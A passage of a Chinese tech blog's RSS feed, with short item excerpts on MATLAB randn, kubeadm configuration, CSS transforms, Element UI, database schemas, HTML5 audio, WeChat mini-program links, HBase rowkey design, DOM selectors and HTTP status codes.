      <description>randn - 正态分布的随机数 语法： X = randn 返回一个从标准正态分布中得到的随机标量。&#xA;【示例】:&#xA;X = randn(n) 返回由正态分布的随机数组成的 n×n 矩阵。&#xA;【示例】:&#xA;随机数落在-3 ~ 3的概率是99.6%&#xA;X = randn(sz1,…,szN) 返回由随机数组成的 sz1×…×szN 数组，其中 sz1,…,szN 指示每个维度的大小。例如：randn(3,4) 返回一个 3×4 的矩阵。&#xA;【示例】:&#xA;X = randn(sz) 返回由随机数组成的数组，其中大小矢量 sz 定义 size(X)。例如：randn([3 4]) 返回一个 3×4 的矩阵。&#xA;【示例】:&#xA;X = randn(___,typename) 返回由 typename 数据类型的随机数组成的数组。typename 输入可以是 ‘single’ 或 ‘double’。您可以使用上述语法中的任何输入参数。&#xA;【示例】{&#xA;X = randn(___,‘like’,p) 返回由 p 等随机数组成的数组；也就是与 p 同一对象类型。您可以指定 typename 或 ‘like’，但不能同时指定两者&#xA;【未实验】&#xA;拓展应用 生成同样的随机数&#xA;利用rng ( 控制随机数生成函数)先获取当前生成随机数种子 ，后续利用该种子重新获取随机数据即得</description>
    </item>
    <item>
      <title>kubeadm-config说明</title>
      <link>https://bchobby.github.io/posts/906855c1831ecf68545982ad36445d7b/</link>
      <pubDate>Sat, 05 Jun 2021 07:52:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/906855c1831ecf68545982ad36445d7b/</guid>
      <description>https://www.cnblogs.com/breezey/p/11770780.html&#xA;配置kubeadm-config.yaml&#xA;通过如下指令创建默认的kubeadm-config.yaml文件：&#xA;kubeadm config print init-defaults &amp;gt; kubeadm-config.yaml #生成KubeletConfiguration示例文件 kubeadm config print init-defaults --component-configs KubeletConfiguration #生成KubeProxyConfiguration示例文件 kubeadm config print init-defaults --component-configs KubeProxyConfiguration 安装master节点：&#xA;kubeadm init --config kubeadm-config.yaml 生成用于添加节点的kubeadm-config.yaml文件&#xA;kubeadm config print join-defaults &amp;gt; kubeadm-config.yaml 修改三个地方：&#xA;apiServerEndpoint：连接apiserver的地址，即master的api地址，这里可以改为192.168.0.1:6443,如果master集群部署的话，这里需要改为集群vip地址token及tlsBootstrapToken：连接master使用的token，这里需要与master上的InitConfiguration中的token配置一致name：node节点的名称，如果使用主机名，需要确保master节点可以解析该主机名。否则的话可直接使用ip地址 添加节点：&#xA;kubeadm join --config kubeadm-config.yaml 附 cat kubeadm-config.yaml&#xA;apiVersion: kubeadm.k8s.io/v1beta2 bootstrapTokens: - groups: - system:bootstrappers:kubeadm:default-node-token token: abcdef.0123456789abcdef ttl: 24h0m0s usages: - signing - authentication kind: InitConfiguration localAPIEndpoint: advertiseAddress: 192.168.200.3 # 本机IP bindPort: 6443 nodeRegistration: criSocket: /var/run/dockershim.</description>
    </item>
    <item>
      <title>实训中学到的HTML基础知识（4）</title>
      <link>https://bchobby.github.io/posts/da80e464d7058162995fbcde066eb257/</link>
      <pubDate>Fri, 04 Jun 2021 22:56:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da80e464d7058162995fbcde066eb257/</guid>
      <description>实训已经过去一周了，这是实训的第五天，正式上课的第四天，前面三天已经学习了HTML中的基本主体标签知识和CSS样式表，今天学习了CSS样式表里的transform属性和animation动画属性，以及新的知识：JS（JavaScript）。&#xA;一、transform属性 transform的值主要有以下几种：旋转rotate、移动translate、缩放scale、扭曲skew和矩阵变形matrix。&#xA;transform：none表示不进行变换&#xA;transform：rotate|scale|skew|translate|matrix；的书写方式。&#xA;1、旋转rotate&#xA;rotate() ：通过指定的角度参数对原元素指定一个2D rotation（2D 旋转），需先有transform-origin属性的定义。transform-origin定义的是旋转的基点，其中angle是指旋转角度，如果设置的值为正数表示顺时针旋转，如果设置的值为负数，则表示逆时针旋转。如：transform:rotate(30deg):&#xA;2、移动translate&#xA;移动translate我们分为三种情况：translate(x,y)水平方向和垂直方向同时移动（也就是X轴和Y轴同时移动）；translateX(x)仅水平方向移动（X轴移动）；translateY(Y)仅垂直方向移动（Y轴移动），具体使用方法如下：&#xA;（1）、translate([, ]) ：通过矢量[tx, ty]指定一个2D translation，tx 是第一个过渡值参数，ty 是第二个过渡值参数选项。如果未被提供，则ty以 0 作为其值。也就是translate(x,y),它表示对象进行平移，按照设定的x,y参数值,当值为负数时，反方向移动物体，其基点默认为元素 中心点，也可以根据transform-origin进行改变基点。如transform:translate(100px,20px):&#xA;（2）、translateX() ： 通过给定一个X方向上的数目指定一个translation。只向x轴进行移动元素，同样其基点是元素中心点，也可以根据transform-origin改变基点位置。如：transform:translateX(100px):&#xA;（3）、translateY() ：通过给定Y方向的数目指定一个translation。只向Y轴进行移动，基点在元素心点，可以通过transform-origin改变基点位置。如：transform:translateY(20px):&#xA;3、缩放scale&#xA;缩放scale和移动translate是极其相似，他也具有三种情况：scale(x,y)使元素水平方向和垂直方向同时缩放（也就是X轴和Y轴同时缩放）；scaleX(x)元素仅水平方向缩放（X轴缩放）；scaleY(y)元素仅垂直方向缩放（Y轴缩放），但它们具有相同的缩放中心点和基数，其中心点就是元素的中心位置，缩放基数为1，如果其值大于1元素就放大，反之其值小于1，元素缩小。下面我们具体来看看这三种情况具体使用方法：&#xA;（1）、scale([, ])：提供执行[sx,sy]缩放矢量的两个参数指定一个2D scale（2D缩放）。如果第二个参数未提供，则取与第一个参数一样的值。scale(X,Y)是用于对元素进行缩放，可以通过transform-origin对元素的基点进行设置，同样基点在元素中心位置；基中X表示水平方向缩放的倍数，Y表示垂直方向的缩放倍数，而Y是一个可选参数，如果没有设置Y值，则表示X，Y两个方向的缩放倍数是一样的。并以X为准。如：transform:scale(2,1.5):&#xA;（2）、scaleX() ： 使用 [sx,1] 缩放矢量执行缩放操作，sx为所需参数。scaleX表示元素只在X轴(水平方向)缩放元素，他的默认值是(1,1)，其基点一样是在元素的中心位置，我们同样是通过transform-origin来改变元素的基点。如：transform:scaleX(2):&#xA;（3）、scaleY() ： 使用 [1,sy] 缩放矢量执行缩放操作，sy为所需参数。scaleY表示元素只在Y轴（垂直方向）缩放元素，其基点同样是在元素中心位置，可以通过transform-origin来改变元素的基点。如transform:scaleY(2):&#xA;4、扭曲skew&#xA;扭曲skew和translate、scale一样同样具有三种情况：skew(x,y)使元素在水平和垂直方向同时扭曲（X轴和Y轴同时按一定的角度值进行扭曲变形）；skewX(x)仅使元素在水平方向扭曲变形（X轴扭曲变形）；skewY(y)仅使元素在垂直方向扭曲变形（Y轴扭曲变形），具体使用如下：&#xA;（1）、skew( [, ]) ：X轴Y轴上的skew transformation（斜切变换）。第一个参数对应X轴，第二个参数对应Y轴。如果第二个参数未提供，则值为0，也就是Y轴方向上无斜切。skew是用来对元素进行扭曲变行，第一个参数是水平方向扭曲角度，第二个参数是垂直方向扭曲角度。其中第二个参数是可选参数，如果没有设置第二个参数，那么Y轴为0deg。同样是以元素中心为基点，我们也可以通过transform-origin来改变元素的基点位置。如：transform:skew(30deg,10deg):&#xA;（2）、skewX() ： 按给定的角度沿X轴指定一个skew transformation（斜切变换）。skewX是使元素以其中心为基点，并在水平方向（X轴）进行扭曲变行，同样可以通过transform-origin来改变元素的基点。如：transform:skewX(30deg)&#xA;（3）、skewY() ： 按给定的角度沿Y轴指定一个skew transformation（斜切变换）。skewY是用来设置元素以其中心为基点并按给定的角度在垂直方向（Y轴）扭曲变形。同样我们可以通过transform-origin来改变元素的基点。如：transform:skewY（10deg）&#xA;5、矩阵matrix&#xA;matrix(, , , , , ) ： 以一个含六值的(a,b,c,d,e,f)变换矩阵的形式指定一个2D变换，相当于直接应用一个[a b c d e f]变换矩阵。就是基于水平方向（X轴）和垂直方向（Y轴）重新定位元素,此属性值使用涉及到数学中的矩阵，我在这里只是简单的说一下CSS3中的transform有这么一个属性值，如果有感兴趣的朋友可以去了解更深层次的martix使用方法，这里就不多说了。</description>
    </item>
    <item>
      <title>解决el-dialog弹框出现页面抖动问题</title>
      <link>https://bchobby.github.io/posts/94d1d7f252b640b1d04d8b81219d95c4/</link>
      <pubDate>Fri, 04 Jun 2021 18:02:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94d1d7f252b640b1d04d8b81219d95c4/</guid>
      <description> main.js(一般正常引入后只需要添加ElementUI.Dialog.props.lockScroll.default = false;就可以) import ElementUI from &#39;element-ui&#39;; // 防止dialog导致页面滚动条消失抖动 ElementUI.Dialog.props.lockScroll.default = false; import &#39;element-ui/lib/theme-chalk/index.css&#39;; Vue.use(ElementUI); 如果上面的代码不起作用,那就在App.vue样式中添加 以下代码&#xA;/* 解决页面dialog出现时，页面滚动条出现消失导致的Message消息提示抖动问题 */ body { overflow-y: auto !important; padding-right: 0 !important; } </description>
    </item>
    <item>
      <title>数据库中的Schema是什么?</title>
      <link>https://bchobby.github.io/posts/91d646b4c550aac31d5c5acb80a9ba1f/</link>
      <pubDate>Fri, 04 Jun 2021 16:47:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91d646b4c550aac31d5c5acb80a9ba1f/</guid>
      <description>参考：&#xA;http://database.guide/what-is-a-database-schema/https://blog.csdn.net/h254931252/article/details/52774276?spm=1001.2014.3001.5501&#xA;在数据库中，schema（发音 “skee-muh” 或者“skee-mah”，中文叫模式）是数据库的组织和结构，schemas 和_schemata_都可以作为复数形式。模式中包含了schema对象，可以是表(table)、列(column)、数据类型(data type)、视图(view)、存储过程(stored procedures)、关系(relationships)、主键(primary key)、**外键(**foreign key)等。数据库模式可以用一个可视化的图来表示，它显示了数据库对象及其相互之间的关系 以上是模式图的一个简单例子，显示了三个表及其数据类型、表之间的关系以及主键和外键，以下是数据库模式的一个更复杂的例子。&#xA;在这种情况下，模式图分为四个部分:&#xA;（1）Customer Data（客户数据)：与客户有关的数据，如姓名，地址等&#xA;（2）Business（业务）：业务所需的数据，例如员工，商店位置，付款细节等&#xA;（3）Inventory（库存）：所有产品的细节。在这里，产品是电影，所以它包含电影标题，类别，演员等数据。&#xA;（4）Views(视图)：关于用于评估的数据的特别观点，所以通过这些模式图，我们可以进一步创建一个数据库，实际上，MySQL Workbench允许我们直接从图中生成一个Create Table脚本，然后我们就可以直接用这个脚本去创建一个数据库，还可以直接将一个数据库转换为一个关系图表。&#xA;Schema和DataBase是否等同？ 涉及到数据库的模式有很多疑惑，问题经常出现在模式和数据库之间是否有区别，如果有，区别在哪里。&#xA;取决于数据库供应商 对schema（模式）产生疑惑的一部分原因是数据库系统倾向于以自己的方式处理模式&#xA;（1）MySQL的文档中指出，在物理上，模式与数据库是同义的，所以，模式和数据库是一回事。&#xA;（2）但是，Oracle的文档却指出，某些对象可以存储在数据库中，但不能存储在schema中。 因此，模式和数据库不是一回事。&#xA;（3）而根据这篇SQL Server技术文章SQLServer technical article，schema是数据库SQL Server内部的一个独立的实体。 所以，他们也不是一回事。&#xA;因此，取决于您使用的RDBMS，模式和数据库可能不一样。&#xA;SQL标准对schema如何定义？ ISO/IEC 9075-1 SQL标准中将schema定义为描述符的持久命名集合（a persistent, named collection of descriptors），如果你之前对schema的定义疑惑不解，希望看了我的这篇文章会好一些，起码不会更差。&#xA;广义上 造成疑惑的另一个原因可能是由于schema这一术语具有如此广泛的含义，因为它在不同的环境下有不同的含义，schema一词源于希腊语skhēma，意思是形态(form)，轮廓(figure)，形状(shape)或方案(plan)。Schema在心理学中被用来描述组织信息类别及其之间关系的有组织的思维或行为模式。我们在设计一个数据库之前，还需要看看数据中的信息种类和它们之间的关系， 在我们开始使用DBMS中的物理模式之前，我们需要创建一个概念模式。在软件开发中讨论模式时，可以讨论概念模式、物理模式、内部模式、外部模式、逻辑模式等，每一个都有其特定的含义。&#xA;DBMS的schema定义 以下是三个领先的关系数据库系统的schema定义:&#xA;MySQL Conceptually, a schema is a set of interrelated database objects, such as tables, table columns, data types of the columns, indexes, foreign keys, and so on.</description>
    </item>
    <item>
      <title>H5多媒体标签</title>
      <link>https://bchobby.github.io/posts/7e05ef9e3cf9aca15563ff011de7f6cd/</link>
      <pubDate>Fri, 04 Jun 2021 13:37:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e05ef9e3cf9aca15563ff011de7f6cd/</guid>
      <description>H5多媒体标签 在 HTML5 之前，如果想在网页上播放音频和视频，则需要安装第三方插件，常用的是 Flash 。使用插件有以下几方面缺点：第一，比较繁琐；第二，容易出现安全性问题；第三，大部分情况下只能在计算机上使用。传统的HTML在播放 HTML5 DOM 为 和 元素提供了方法、属性和事件。这些方法、属性和事件允许使用 JavaScript 来操作 和 元素。下面对这两个标签分别讲解。&#xA;audio标签（音频播放） 本标签主要在页面中加载音频，进行播放，但是播放格式是有限制的。如下表：&#xA;格式IE9+Firefox3.5Opera11.5Chrome 4.0safari 4.0Ogg×√√√×Wav×√√×√Mp3√××√√ 本标签属性名及属性说明如下表：&#xA;属性名称属性说明audioTracks返回表示可用音频轨道的 AudioTrackList 对象。autoplay设置或返回是否在加载完成后随即播放音频/视频。buffered返回表示音频/视频已缓冲部分的 TimeRanges 对象。controller返回表示音频/视频当前媒体控制器的 MediaController 对象。controls设置或返回音频/视频是否显示控件（比如播放/暂停等）。crossOrigin设置或返回音频/视频的 CORS 设置。currentSrc返回当前音频/视频的 URL。currentTime设置或返回音频/视频中的当前播放位置（以秒计）。defaultMuted设置或返回音频/视频默认是否静音。defaultPlaybackRate设置或返回音频/视频的默认播放速度。duration返回当前音频/视频的长度（以秒计）。ended返回音频/视频的播放是否已结束。error返回表示音频/视频错误状态的 MediaError 对象。loop设置或返回音频/视频是否应在结束时重新播放。mediaGroup设置或返回音频/视频所属的组合（用于连接多个音频/视频元素）。muted设置或返回音频/视频是否静音。networkState返回音频/视频的当前网络状态。paused设置或返回音频/视频是否暂停。playbackRate设置或返回音频/视频播放的速度。played返回表示音频/视频已播放部分的 TimeRanges 对象。preload设置或返回音频/视频是否应该在页面加载后进行加载。readyState返回音频/视频当前的就绪状态。seekable返回表示音频/视频可寻址部分的 TimeRanges 对象。seeking返回用户是否正在音频/视频中进行查找。src设置或返回音频/视频元素的当前来源。startDate返回表示当前时间偏移的 Date 对象。textTracks返回表示可用文本轨道的 TextTrackList 对象。videoTracks返回表示可用视频轨道的 VideoTrackList 对象。volume设置或返回音频/视频的音量。 下面对部分属性进行代码讲解。&#xA;&amp;lt;!--controls属性控制播放（音乐播放控制器面板） --&amp;gt; &amp;lt;audio src=&#34;http://mp3.9ku.com/mp3/550/549564.mp3&#34; controls&amp;gt;&amp;lt;/audio&amp;gt; &amp;lt;!--autoplay 加载之后自动播放（谷歌、ie）、火狐尝试不好用--&amp;gt; &amp;lt;audio src=&#34;http://mp3.9ku.com/mp3/550/549564.mp3&#34; autoplay&amp;gt;&amp;lt;/audio&amp;gt; &amp;lt;!--preload ：文件比较大时候用这个，三个值 none：不进行缓存 auto：默认，选择性的缓存 metadata：只缓存文件原信息 --&amp;gt; &amp;lt;audio src=&#34;http://mp3.9ku.com/mp3/550/549564.mp3&#34; preload=&#34;none&#34;&amp;gt;&amp;lt;/audio&amp;gt; &amp;lt;!--muted静音的属性 --&amp;gt; &amp;lt;audio src=&#34;http://mp3.9ku.com/mp3/550/549564.mp3&#34; muted&amp;gt;&amp;lt;/audio&amp;gt; &amp;lt;!--oog文件： ie和safari不支持 在多媒体标签内加入source标签，用来指定多个播放路径， 当第一个如今出错时。自动切换到第二个 source：当浏览器支持的格式文件不一样时，我们在添加音频资源的时候需要考虑到浏览器时候致辞。 可以准备多个格式的音频文件供浏览器选择，当第一个source标签的路径出错时，自动会切换到第二个source标签 （下属代码不能够直接使用，记得选中自己的文件） --&amp;gt; &amp;lt;audio&amp;gt; &amp;lt;source src=&#34;</description>
    </item>
    <item>
      <title>微信html5程序,H5跳转微信小程序</title>
      <link>https://bchobby.github.io/posts/db51c7c70c6a755e197ef51d03abb19a/</link>
      <pubDate>Fri, 04 Jun 2021 08:12:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db51c7c70c6a755e197ef51d03abb19a/</guid>
      <description>如题，最近有项目需要H5跳转到微信小程序，之前的认知中，跳转到微信小程序只有通过公众号、小程序、扫码这几种方式。终于H5支持跳转小程序了，废话不多说直接贴代码&#xA;1、需要微信公众号，并且是已经认证过的服务号。文档链接:https://developers.weixin.qq.com/doc/offiaccount/OA_Web_Apps/Wechat_Open_Tag.html,这个和获取微信公众号个人信息接口有点类似。&#xA;wx.config({&#xA;// debug: false, // 调试时可开启&#xA;appId: jsonData.content.appId, // timestamp: jsonData.content.timestamp, // 必填，填任意数字即可&#xA;nonceStr: jsonData.content.nonceStr, // 必填，填任意非空字符串即可&#xA;signature: jsonData.content.signature, // 必填，填任意非空字符串即可&#xA;jsApiList: jsonData.content.jsApiList, // 必填，随意一个接口即可&#xA;openTagList: [&#39;wx-open-launch-weapp&#39;], // 填入打开小程序的开放标签名&#xA;})&#xA;唯一不同的是添加了：openTagList开放列表。这个接口是需要从服务器请求的，jsondata是服务器返回的数据信息。&#xA;2、H5中需要加入标签：&#xA;打开小程序&#xA;以上就是所需参数：小程序原始ID和小程序的页面路径，需要注意的地方：template 标签必须有，它所包含的标签设置样式的话要直接写在标签里面，要不然不起作用。如果使用微信浏览器直接点开就可以跳转小程序，&#xA;如果是使用手机浏览器的话需要小程序生成URL Scheme,进入小程序点击工具&#xA;最后把生成的url scheme 放到H5里面，代码如下：window.location.href = &#34;weixin://dl/business/?t=arfgrpQvnWt&#34;;就可以完成浏览器跳转小程序了。&#xA;3、记得实现引入jssdk.js.&#xA;以上就可以完成从H5跳转微信小程序了，如有不懂评论区留言。</description>
    </item>
    <item>
      <title>鸿蒙pc系统镜像,鸿蒙系统有pc版么_鸿蒙系统有pc版安装方法</title>
      <link>https://bchobby.github.io/posts/df4ac2918c4a7fd7a0efd5ed685eea0b/</link>
      <pubDate>Fri, 04 Jun 2021 07:13:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df4ac2918c4a7fd7a0efd5ed685eea0b/</guid>
      <description>鸿蒙系统作为华为推出的一款操作系统，它跟其他安卓ios系统还是有很大区别的接。但是华为除了有手机还有电视使用鸿蒙系统之外电脑也是华为手机不可缺少的一款。那鸿蒙系统pc版怎么下载呢？&#xA;1.鸿蒙系统pc版安装方法&#xA;首先在电脑上插入U盘，然后打开制作软件“rufus 3.1”。&#xA;随后选择其中的华为鸿蒙系统镜像文件，其他默认并点击开始。&#xA;点击是进行链接的下载，勾选以ISO镜像模式写入。&#xA;点击OK，等待U盘启动制作并写入华为鸿蒙系统。&#xA;将制作好的U盘插入电脑开机启动按F12，选择U盘启动。&#xA;从U盘中启动后选择“start newstart dev”进入安装。&#xA;此时会进入安装界面，点击“安装系统”开始安装。&#xA;选择鸿蒙系统所在的硬盘分区再点击下一步。&#xA;设置管理员密码后点击开始安装。&#xA;进入安装后等待十分钟左右即可完成安装。&#xA;安装成功后点击重启即可进入登录界面，创建用户和密码登录后即可体验。&#xA;2.鸿蒙系统目标&#xA;有时候想想2020年华为确实让人有非常惋惜之情，因为芯片事件直接让品牌差不多沉寂了一年，虽然期间华为也有新机更替，但是我跟你说这期间新机更替讲道理不算什么正常操作，用我之前的观点就是“华为是做着一阳来复的事情，一阳来复来自易经的第二十四卦”大致意思就是遇到挫折没有关系，但是万事万物都要经历复兴之路&#xA;所以2020年芯片事件之后，华为的所有新机都是为了“复兴之路”而出来的，没有什么值得质疑、吐槽、夸赞的，但是我们要有一颗静观其变的心，然而今天，没错就是今天，华为终于走出了复兴之路，鸿蒙一出代表着什么？没错，就是全新的华为来了，那么作为花粉的你怎么看呢？&#xA;.&#xA;那么所谓鸿蒙系统究竟是什么呢？首先我们普通用户要明白的是华为全新鸿蒙发布时间是6月2日晚上20点“手打滑稽正好是黄金时间”，其实对于鸿蒙系统，教主曾经有过这样的猜想，那就是鸿蒙绝对不会像目前安卓系统和IOS系统一样，它表面是一个系统OS没错，但是实际上确实代表了手机系统的一个生态结构&#xA;而曾经华为大佬任正非说过，为什么华为没有和谷歌、苹果竞争的资格。其实技术倒是全部具备，但是华为唯一欠缺的就是没有一个良好且完美的生态系统，而鸿蒙或许就一个技术和生态结构样样具备的系统OS，所以我个人认为鸿蒙虽然表面上是一个系统，但是实际上已经超越了手机系统的档次，反正不管怎么样，得看今晚华为鸿蒙系统发布后究竟怎么样？&#xA;3.总结&#xA;鸿蒙系统还是非常的不错的，在pc端也能正式的好好使用，小伙伴们如果心动了就赶快行动吧。</description>
    </item>
    <item>
      <title>html中批量上传图片插件,轻量级图片批量上传JS插件（可选择多图）</title>
      <link>https://bchobby.github.io/posts/f1c605d09148ce04bb6ae5043d29dfee/</link>
      <pubDate>Fri, 04 Jun 2021 05:55:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1c605d09148ce04bb6ae5043d29dfee/</guid>
      <description>【实例简介】&#xA;插件功能&#xA;1、批量选择图片，限制限制图片的类型 (通过限制file的accept) 默认:accept=&#34;image/gif,image/jpeg,image/jpg,image/png,image/svg&#34;&#xA;2、可以自定义限制选择图片的数量，默认5张&#xA;3、可以自定义限制图片的最大宽度和最大高度，默认都是10000px&#xA;4、可以自定义限制图片的单文件大小，默认是4MB&#xA;【实例截图】&#xA;【核心代码】&#xA;var imgFile ;&#xA;$(function () {&#xA;imgFile = new ImgUploadeFiles(&#39;.review_img&#39;, function (e) {&#xA;this.init({&#xA;MAX: 6, //Limit the number of images&#xA;FileSize: 1024 * 1024 * 4,//单文件限制4MB(注意：单位KB)&#xA;callback: function (arr) {&#xA;console.log(arr)&#xA;}&#xA;});&#xA;});&#xA;});</description>
    </item>
    <item>
      <title>小米怎么卸载html,小米11内容中心有什么用？怎么关闭和卸载呢</title>
      <link>https://bchobby.github.io/posts/12b5bf3a53354c13553026e55993634c/</link>
      <pubDate>Fri, 04 Jun 2021 04:11:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12b5bf3a53354c13553026e55993634c/</guid>
      <description>小米11内容中心是什么，这是很多小米11用户所不了解的，很多人会发现在没有任何设置的情况下，上滑搜索功能被换成了内容中心。那小米11内容中心怎么关闭和卸载呢？下面，小编就来跟大家详细介绍一下。&#xA;小米11内容中心有什么用？&#xA;其实小米11内容中心有点类似于华为的负一屏，在小米11内容中心可以看热榜、看视频等等，内容丰富，但并不是每一个人都喜欢这个东东，下面我们来提供关闭的方法。&#xA;小米11内容中心怎么关闭和卸载&#xA;1、首先这个内容中心是无法卸载的，但我们可以关闭它，先进入小米11的手机设置，点击“桌面”。如下图所示：&#xA;2、然后，我们再选择“桌面上滑”。如下图所示：&#xA;3、接下来，我们可以勾选“无”，即可关闭内容中心，当然也可以勾选“搜索”，就表示上划出现快捷搜索了。&#xA;4、小米11内容中心关闭完成之后，返回手机桌面之后，我们在桌面按住上滑，查看就没有内容中心了。&#xA;另外，如果你是老版本的MIUI，则需要进入设置 -&amp;gt; 关于 -&amp;gt; 关闭内容中心即可。&#xA;上述就是小米11内容中心有什么用？怎么关闭和卸载的全部方法了，更多技巧，尽在智能手机网相关文章！&#xA;文章来源：https://www.znsjw.com/app/14659.html</description>
    </item>
    <item>
      <title>数据存储之HBase的RowKey设计</title>
      <link>https://bchobby.github.io/posts/9a3b0ebcd2df682e02844567cf316b2a/</link>
      <pubDate>Thu, 03 Jun 2021 21:48:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a3b0ebcd2df682e02844567cf316b2a/</guid>
      <description> HBase的RowKey设计需要根据具体的数据进行设计，一般来说需要依据的设计原则有三个：&#xA;长度原则：避免没有必要的资源消耗散列原则：避免热点问题，也是RowKey设计主要考虑的地方唯一原则：保证RowKey不重复 RowKey长度原则 RowKey的长度一般设计为定长，越短越好。如果RowKey设计得过长容易引发以下问题：&#xA;第一、RowKey太长容易过多占用memorystore和磁盘空间，导致我们需要存储的数据使用的资源减少 第二、RowKey过长Client缓存元数据的条数会变少，导致需要频繁请求读取元数据 RowKey散列原则 如果单纯使用时间或有规律的字符串作为RowKey，往往容易使资源集中存储在单个或少数几个RegionServer中，在大量数据需要被访问时，单个RegionServer响应不过来，就会造成检索效率降低。所以在设计RowKey时，我们常常使用一些方法将RowKey尽量均匀的分布在每一个RegionServer中，具体的方法列举以下几个：&#xA;1.预分区+加盐 不设置预分区就默认只有一个region，我们可以在建表时设置预分区，并指定每个region的rowkey范围。 所谓加盐，就是给rowkey添加随机数前缀，预分区时就将产生随机数的范围按照每个region平均划分，使每个rowkey对应的数据去到每个region的概率一样 2.字符串反转 将时间或者数字等前面不改变后面几位经常改变的rowkey进行反正，使这种大量连续的rowkey不会被分到同一个region中 3.hash 哈希会使同一行永远用一个前缀散列。哈希也可以使负载分散到整个集群，但是读却是可以预测的。 使用确定的哈希可以让客户端重构完整的rowkey，可以使用get操作准确获取某一个行数据 RowKey唯一原则 每条数据的RowKey不能重复&#xA;RowKey是每一条数据的唯一标志，Hbase检索数据只能通过三种方式： 第一、单个rowkey检索 第二、rowkey range检索 第三、全表检索 所以我们必须保证rowkey设计时的唯一性 </description>
    </item>
    <item>
      <title>通过哪些方法可以获取页面的html元素,JavaScript获取页面元素的常用方法详解</title>
      <link>https://bchobby.github.io/posts/b9fb99ed3f1f42e24fcd3db8b9604c83/</link>
      <pubDate>Thu, 03 Jun 2021 20:15:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9fb99ed3f1f42e24fcd3db8b9604c83/</guid>
      <description>1、通过标签获取元素，返回一个数组&#xA;var li = document.getElementsByTagName(&#39;li&#39;);//标签获取元素&#xA;li[0].innerHTML;// 查看获取元素的内容&#xA;li[0].innerHTML = &#34;content&#34;;//修改获取到标签中的内容&#xA;2、通过id获取页面元素&#xA;var header = document.getElementById(&#34;header&#34;);//id获取元素&#xA;3、通过class名字获取页面元素&#xA;var list = document.getElementsByClassName(&#39;list&#39;);//返回一个数组，通过下标访问文本&#xA;4、通过CSS选择符方式获取页面元素&#xA;//querySelector：返回符合条件的第一个&#xA;var str = document.querySelector(&#39;li&#39;);&#xA;var str1 = document.querySelectorAll(&#39;li&#39;);//全部返回，每个li都是一个对象&#xA;JavaScript获取页面的常用方法 // 1、通过标签获取元素，返回一个数组&#xA;var li = document.getElementsByTagName(&#39;li&#39;);&#xA;//2、通过id获取页面元素&#xA;var header = document.getElementById(&#34;header&#34;);&#xA;// 3、通过class名字获取页面元素&#xA;var list = document.getElementsByClassName(&#39;list&#39;);//返回一个数组，通过下标访问文本&#xA;// 4、通过CSS选择符方式获取页面元素&#xA;//querySelector：返回符合条件的第一个&#xA;var str = document.querySelector(&#39;li&#39;);&#xA;// querySelectorAll：返回符合条件的每一个&#xA;var str1 = document.querySelectorAll(&#39;li&#39;);&#xA;JavaScript学习&#xA;HTMLjQueryJavaScript HTMLjQueryJavaScript 以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持脚本之家。</description>
    </item>
    <item>
      <title>HTTP状态码、请求及响应</title>
      <link>https://bchobby.github.io/posts/54053f641d47571f8aa41a73e0b4514f/</link>
      <pubDate>Thu, 03 Jun 2021 11:13:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54053f641d47571f8aa41a73e0b4514f/</guid>
      <description>文章目录 1.HTTP状态码2.HTTP请求报文由3部分组成（请求行+请求头+请求体）1）请求行：2）请求头 3.HTTP的响应报文也由三部分组成（响应行+响应头+响应体） 1.HTTP状态码 状态码：由3位数字组成，第一个数字定义了响应的类别&#xA;1xx：指示信息，表示请求已接收，继续处理&#xA;2xx：成功，表示请求已被成功接受，处理。&#xA;200 OK：客户端请求成功204 No Content：无内容。服务器成功处理，但未返回内容。一般用在只是客户端向服务器发送信息，而服务器不用向客户端返回什么信息的情况。不会刷新页面。206 Partial Content：服务器已经完成了部分GET请求（客户端进行了范围请求）。响应报文中包含Content-Range指定范围的实体内容 3xx：重定向&#xA;301 Moved Permanently：永久重定向，表示请求的资源已经永久的搬到了其他位置。302 Found：临时重定向，表示请求的资源临时搬到了其他位置303 See Other：临时重定向，应使用GET定向获取请求资源。303功能与302一样，区别只是303明确客户端应该使用GET访问307 Temporary Redirect：临时重定向，和302有着相同含义。POST不会变成GET304 Not Modified：表示客户端发送附带条件的请求（GET方法请求报文中的IF…）时，条件不满足。返回304时，不包含任何响应主体。- 虽然304被划分在3XX，但和重定向一毛钱关系都没有 4xx：客户端错误&#xA;400 Bad Request：客户端请求有语法错误，服务器无法理解。401 Unauthorized：未授权。请求未经授权，这个状态代码必须和WWW-Authenticate报头域一起使用。403 Forbidden：服务器收到请求，但是拒绝提供服务404 Not Found：请求资源不存在。比如，输入了错误的url415 Unsupported media type：不支持的媒体类型 5xx：服务器端错误，服务器未能实现合法的请求。&#xA;500 Internal Server Error：服务器发生不可预期的错误。503 Server Unavailable：服务器当前不能处理客户端的请求，一段时间后可能恢复正常502 Bad Gateway：网关错误。作为网关或者代理工作的服务器尝试执行请求时，从上游服务器接收到无效的响应。504 Gateway Time-out：网关响应超时。作为网关或者代理工作的服务器尝试执行请求时，未能及时从上游服务器（URI标识出的服务器，例如HTTP、FTP、LDAP）或者辅助服务器（例如DNS）收到响应。 2.HTTP请求报文由3部分组成（请求行+请求头+请求体） 1）请求行： 例如：POST /chapter17/user.html HTTP/1.1&#xA;格式：请求方式 资源路径 协议/版本&#xA;请求行必须在http请求格式的第一行。&#xA;get请求:&#xA;将请求参数追加在url后面，不安全&#xA;url长度限制get请求方式数据的大小&#xA;没有请求体&#xA;一般的HTTP请求大多都是GET。&#xA;常见get请求:&#xA;地址栏直接访问、&amp;lt;a href=&#34;&#34;&amp;gt;、&amp;lt;img src=&#34;&#34;&amp;gt;等&#xA;post请求：&#xA;请求参数在请求体处，较安全。&#xA;请求数据大小没有显示&#xA;只有表单设置为method=“post”才是post请求，其他都是get请求</description>
    </item>
    <item>
      <title>2-1 组合优化问题</title>
